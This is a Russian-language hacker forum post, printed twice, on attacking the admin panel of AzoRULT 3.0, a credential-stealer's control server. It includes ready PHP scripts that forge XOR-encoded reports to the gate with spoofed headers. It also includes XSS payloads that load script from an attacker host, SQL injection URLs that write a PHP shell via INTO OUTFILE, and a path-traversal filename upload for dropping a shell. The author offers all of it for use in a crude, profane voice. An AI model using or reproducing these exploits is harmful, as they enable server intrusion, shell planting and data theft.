Ломаем AzoRULT 3.0
Мои дорогие и немногочисленные друзья, сейчас я Вам расскажу увлекательную историю про то, как Величайший азорульт ломал.
Как должно быть многим известно, угнать логи с админки ранних версий было до идиотизма просто - найди адрес гейта, найдешь и всё остальное. Чуть позже пошли по рукам корявые XSS, ломающие верстку и т.д.
Но на анализ Величайшему, тайно, под покровом ночи, была дана версия 3.0, где большинство ошибок, активно используемых разными тупыми нубасами (и илитой, конечно же) уже было закрыто.
Приступим-с.
XSS через гейт.
Функция ShowHomePage(), строка 183 (gate.php):
Не смотря на то, что переменная $tmp[$i]['p_soft_name'] обрабатывалась ранее с помощью htmlspecialchars, одинарные кавычки были пропущены. В теории можно было провести XSS-атаку.
POC:
Обычный алерт, но работал как часы. А что если мы захотим исполнить свой js (куки то не угонишь - уже стоял флаг httponly)? Задача усложнялась тем, что существовало ограничение на кол-во символов в этом поле. И в результате долгих потуг был рожден вот такой монстр:
Что удивительно, оно срабатывало, хоть и не всегда (FF - временами, Chrome - временами, Opera/IE - как часы). В админке это выглядело крайне занимательно:
Но всё же работало) Если подгрузить свой js, то все эти непотребства можно было убрать и навести шороху.
SQL-injection внутри админки
Функции ShowReportsPage() и ShowPasswordsPage().
Уязвимые параметры - datefrom, dateup, search, countries, cookiesearch.
Примеры:
Заливка шелла:
Убеждаемся, что есть права (file_priv=Y)
Заливаем мини-шелл
Было еще парочку инъекций, но, согласитесь, и так неплохо вышло.
Произвольные имена отчетов и перезапись отчетов
В gate.php недостаточно фильтровалась переменная filename. Можно было указать любое имя. На php 5.2 это привело бы к заливке шелла через nullbyte. Но и на последних версиях php тоже была возможна заливка шелла - если залить файл 1.php.zip, а Apache неправильно сконфигурирован, то файл будет исполняться как php-скрипт.
Как фича - тот, кто украл ранее логи, мог затереть существующие, указав в качестве имени файла старую дату и имя отчета.
Удаление файлов
Если получен каким либо способом доступ к базе данных (phpmyadmin, adminer, прямой коннект), то изменив значение reports.filename в таблице (например ./../files/index.html), можно удалить любой файл на хосте (удаляем отчет в котором изменили значение, а затем жмем EmptyTrash).
Активная XSS в config.json
Файл config.json был доступен для чтения кому угодно. Риски - палево АВ и еще хз кому прогружаемого файла ("DAE:"), кто угодно мог спарсить правила стилера, что тоже не очень хорошо. Ну и вдобавок там была XSS. Достаточно сохранить в любое из полей для файл-граббера:
Разумеется, вместо xss.js (который был использован в тестах) можно подгружать js-код со своего хоста.
Были еще веселенькие CSRF, но это обычно интересно только петушкам-белошляпникам (или автору кода, хехе), потому описывать их не стал.
That's all folks.
Кто-то должно быть возмутится, дескать мол столько времени уже прошло, сударь, актуальная версия азорульта - 3.3, а Вы нас старьем потчуете. Я Вам, господа, со всем, присущим мне тактом и изяществом, покорно отвечу:
- Говна наверните-с. Мне похуй вообще.
P.S. Актуальная версия тоже была проверена на ошибки.
Пользуйтесь на здоровье.
Автор: RedBear (krober)
Мои дорогие и немногочисленные друзья, сейчас я Вам расскажу увлекательную историю про то, как Величайший азорульт ломал.
Как должно быть многим известно, угнать логи с админки ранних версий было до идиотизма просто - найди адрес гейта, найдешь и всё остальное. Чуть позже пошли по рукам корявые XSS, ломающие верстку и т.д.
Но на анализ Величайшему, тайно, под покровом ночи, была дана версия 3.0, где большинство ошибок, активно используемых разными тупыми нубасами (и илитой, конечно же) уже было закрыто.
Приступим-с.
XSS через гейт.
Функция ShowHomePage(), строка 183 (gate.php):
PHP:
$tmp[$i]['p_soft_name'] = "<img src=img/softs/".$tmp[$i]['p_soft_name'].".png> ".$tmp[$i]['p_soft_name'];
POC:
PHP:
<?php
/////////////
// Адрес гейта
$url="http://azorult30/gate.php";
//////////////
///
/// Дальше не трогать - магия
///
$guid = "EDSER93-1EDA-4W4C-BEED-WNFYRIFHBF4C04CFEW99-FES9-4558-9FEF-HFDIUFG6D851";
$payload ="reportdata=<info".$guid.">123123|6.1|Windows 7 Ultimate|x64| User-PC|Admin|0|0|0|0|E|A</info".$guid.">
<pwds".$guid.">
1|x onerror=alert(1337) |http://anonchik.com|tobi|pizda|admin|pass\r\n
</pwds".$guid.">
<coks".$guid.">
</coks".$guid.">
<list".$guid.">
</list".$guid.">
<file".$guid.">
</file".$guid.">";
$xorkey = chr(254).chr(41).chr(54);
$data=CB_XORm($payload, $xorkey, 1024*512);
function httpPost($url, $data){
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR: '.rand(1,255).'.'.rand(1,255).'.'.rand(1,255).'.'.rand(1,255)));
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
function CB_XORm($data, $key, $max){
$datalen=strlen($data);
$keylen=strlen($key);
if ($datalen>=$max) $datalen=$max;
$j=0;
for($i=0;$i<$datalen; $i++){
$data[$i] = chr(ord($data[$i])^ord($key[$j]));
$j++;
if($j>($keylen-1)) $j=0;
}
return $data;
}
httpPost($url, $data);
echo $url." injected!";
PHP:
<?php
/////////////
// Домен с вашим скриптом
$xss="http://attacker/xss.js";
// Адрес гейта
$url="http://azorult30/gate.php";
//////////////
///
/// Дальше не трогать - магия
///
//$js_payload = base64_encode('t=document.getElementById("cssmenu");var n=document.createElement("script");n.src="'.$xss.'";t.appendChild(n);');
$js_payload = base64_encode("alert('This is xss with no lenght limit.'); ");
$js_payload = str_replace("=","",$js_payload);
$lol = true;
$j=0; $result=array();
for($i=0;$i<=strlen($js_payload)+7;$i=$i+7){
$kek = "1234567890abcdefghijklmnpoABCDEFGHIJKLMNPO";
if(!empty(substr($js_payload,$i,7))){
if($lol){
$result[] = $kek[$j]." onerror=a=/".substr($js_payload,$i,7)."/.source ";
$lol = false;
}else{
$result[] = $kek[$j]." onerror=a%2B=/".substr($js_payload,$i,7)."/.source ";
}
}
$j++;
}
$result[] = "X onerror=b%3DBase64.decode(a) ";
$result[] = "../Z onerror=eval(b) ";
$n="";
$i=count($result)+3;
foreach($result as $l){
while($i>$k){
$n.="1|".$l."|http://anonchik.com|tobi|pizda|admin|pass\r\n";
$k++;
}
$k=0;
$i--;
}
$guid = "EDSER93-1EDA-4W4C-BEED-WNFYRIFHBF4C04CFEW99-FES9-4558-9FEF-HFDIUFG6D851";
$payload ="reportdata=<info".$guid.">|6.1|Windows 7 Ultimate|x64| User-PC|Admin|0|0|0|0|E|A</info".$guid.">
<pwds".$guid.">
".$n."
</pwds".$guid.">
<coks".$guid.">
</coks".$guid.">
<list".$guid.">
</list".$guid.">
<file".$guid.">
</file".$guid.">";
$xorkey = chr(254).chr(41).chr(54);
$data=CB_XORm($payload, $xorkey, 1024*512);
function httpPost($url, $data){
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR: '.rand(1,255).'.'.rand(1,255).'.'.rand(1,255).'.'.rand(1,255)));
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
function CB_XORm($data, $key, $max){
$datalen=strlen($data);
$keylen=strlen($key);
if ($datalen>=$max) $datalen=$max;
$j=0;
for($i=0;$i<$datalen; $i++){
$data[$i] = chr(ord($data[$i])^ord($key[$j]));
$j++;
if($j>($keylen-1)) $j=0;
}
return $data;
}
httpPost($url, $data);
echo $url." injected!";
Но всё же работало) Если подгрузить свой js, то все эти непотребства можно было убрать и навести шороху.
SQL-injection внутри админки
Функции ShowReportsPage() и ShowPasswordsPage().
Уязвимые параметры - datefrom, dateup, search, countries, cookiesearch.
Примеры:
PHP:
/index.php?page=reports&datefrom=2019-04-01' union select user(),database(),3,4,5,6,7,8,9,10 +--+
/index.php?page=reports&countries=KEK') union select user(),database(),3,4,5,6,7,8,9,10 +--+
/index.php?page=reports&cookiesearch=kek','')union select user(),database(),3,4,5,6,7,8,9,10 +--+
/index.php?page=passwords&dateup=1984-04-01' union select user(),database(),3,4,5 +--+
/index.php?page=passwords&search=123', '123') union select user(),database(),3,4,5+--+
Убеждаемся, что есть права (file_priv=Y)
PHP:
/index.php?page=passwords&search=-123', '123') union select null,null,null,null,file_priv from mysql.user+--+
PHP:
/index.php?page=passwords&dateup=1984-04-01' union select null,"<?php echo 'PWN!';?>",null,null,null INTO OUTFILE '/fullpath/to/azor30/1.php'+--+
Произвольные имена отчетов и перезапись отчетов
В gate.php недостаточно фильтровалась переменная filename. Можно было указать любое имя. На php 5.2 это привело бы к заливке шелла через nullbyte. Но и на последних версиях php тоже была возможна заливка шелла - если залить файл 1.php.zip, а Apache неправильно сконфигурирован, то файл будет исполняться как php-скрипт.
PHP:
<?php
/////////////
// Адрес гейта
$url="http://azorult30/gate.php";
$filename = "/../../q.php";//Заливка шелла на кривых apache
//$filename = "/../../q.php\0";//Заливка шелла на php 5.2
//////////////
///
/// Дальше не трогать - магия
///
$guid = "EDSER93-1EDA-4W4C-BEED-WNFYRIFHBF4C04CFEW99-FES9-4558-9FEF-HFDIUFG6D851";
$payload ="reportdata=<info".$guid.">".$filename."|6.1|Windows 7 Ultimate|x64| User-PC|Admin|0|0|0|0|E|A</info".$guid.">
<pwds".$guid.">
1|kek|http://anonchik.com|tobi|pizda|admin|pass\r\n
</pwds".$guid.">
<coks".$guid.">
</coks".$guid.">
<list".$guid.">
</list".$guid.">
<file".$guid."><?php echo 'PWNED!';>
</file".$guid.">";
$xorkey = chr(254).chr(41).chr(54);
$data=CB_XORm($payload, $xorkey, 1024*512);
function httpPost($url, $data){
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR: '.rand(1,255).'.'.rand(1,255).'.'.rand(1,255).'.'.rand(1,255)));
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
function CB_XORm($data, $key, $max){
$datalen=strlen($data);
$keylen=strlen($key);
if ($datalen>=$max) $datalen=$max;
$j=0;
for($i=0;$i<$datalen; $i++){
$data[$i] = chr(ord($data[$i])^ord($key[$j]));
$j++;
if($j>($keylen-1)) $j=0;
}
return $data;
}
$otvet = httpPost($url, $data);
echo $url." injected!<br>";
echo $otvet;
Удаление файлов
Если получен каким либо способом доступ к базе данных (phpmyadmin, adminer, прямой коннект), то изменив значение reports.filename в таблице (например ./../files/index.html), можно удалить любой файл на хосте (удаляем отчет в котором изменили значение, а затем жмем EmptyTrash).
Активная XSS в config.json
Файл config.json был доступен для чтения кому угодно. Риски - палево АВ и еще хз кому прогружаемого файла ("DAE:"), кто угодно мог спарсить правила стилера, что тоже не очень хорошо. Ну и вдобавок там была XSS. Достаточно сохранить в любое из полей для файл-граббера:
PHP:
"><img src=x alt="" onerror='t=document.getElementById("cssmenu");var n=document.createElement("script");n.src="xss.js";t.appendChild(n);'><span "
Были еще веселенькие CSRF, но это обычно интересно только петушкам-белошляпникам (или автору кода, хехе), потому описывать их не стал.
That's all folks.
Кто-то должно быть возмутится, дескать мол столько времени уже прошло, сударь, актуальная версия азорульта - 3.3, а Вы нас старьем потчуете. Я Вам, господа, со всем, присущим мне тактом и изяществом, покорно отвечу:
- Говна наверните-с. Мне похуй вообще.
P.S. Актуальная версия тоже была проверена на ошибки.
Пользуйтесь на здоровье.
Автор: RedBear (krober)